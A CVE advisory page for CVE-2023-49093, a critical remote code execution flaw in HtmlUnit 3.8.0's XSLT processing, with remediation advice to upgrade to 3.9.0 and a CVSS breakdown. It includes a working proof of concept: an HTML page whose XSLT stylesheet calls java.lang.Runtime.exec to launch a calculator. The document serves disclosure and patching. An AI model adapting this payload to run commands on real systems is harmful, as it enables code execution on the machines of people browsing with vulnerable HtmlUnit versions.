Loading...
Skip to main content

CVE-2023-49093 — Vulnerability in org.htmlunit:htmlunit — CVE Details

CRITICAL

HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL

Published December 4, 2023Updated September 10, 2026Source: osv

Summary

### Summary HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage ### Details Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode) The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor ### PoC pom.xml: ``` <dependency> <groupId>org.htmlunit</groupId> <artifactId>htmlunit</artifactId> <version>3.8.0</version> </dependency> ``` code: ``` WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER); HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html"); System.out.println(page.asNormalizedText()); ``` test.html: ``` <script> var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0"); var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0"); var xslProc; xslDoc.async = false; xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"> <xsl:template match="/"> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/> <xsl:variable name="processString" select="ob:toString($process)"/> <span><xsl:value-of select="$processString"/></span> </xsl:template> </xsl:stylesheet>`) if (xslDoc.parseError.errorCode != 0) { var myErr = xslDoc.parseError; document.write("ParseError: "+myErr.reason); } else { xslt.stylesheet = xslDoc; var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0"); xmlDoc.async = false; xmlDoc.loadXML("<s></s>"); if (xmlDoc.parseError.errorCode != 0) { var myErr = xmlDoc.parseError; document.write("Document error: " + myErr.reason); } else { xslProc = xslt.createProcessor(); xslProc.input = xmlDoc; xslProc.transform(); document.write(xslProc.output); } } </script> ``` ### Impact Remote Code Execution

Advisory Timeline

  • First published December 4, 2023 (1043 days ago).
  • Last revised September 10, 2026 — 1010 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Maven
Update org.htmlunit:htmlunit to 3.9.0 or later
<!-- Update pom.xml dependency version to 3.9.0 for org.htmlunit:htmlunit -->

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: maven (1).

PackageEcosystemAffectedFixed In
org.htmlunit:htmlunit
maven
3.0.0, 3.1.0, 3.2.0, 3.3.0 (+5 more)3.9.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2023-49093?
HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2023-49093?
CVE-2023-49093 affects org.htmlunit:htmlunit. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2023-49093 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-37vq-hr2f-g7h7

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies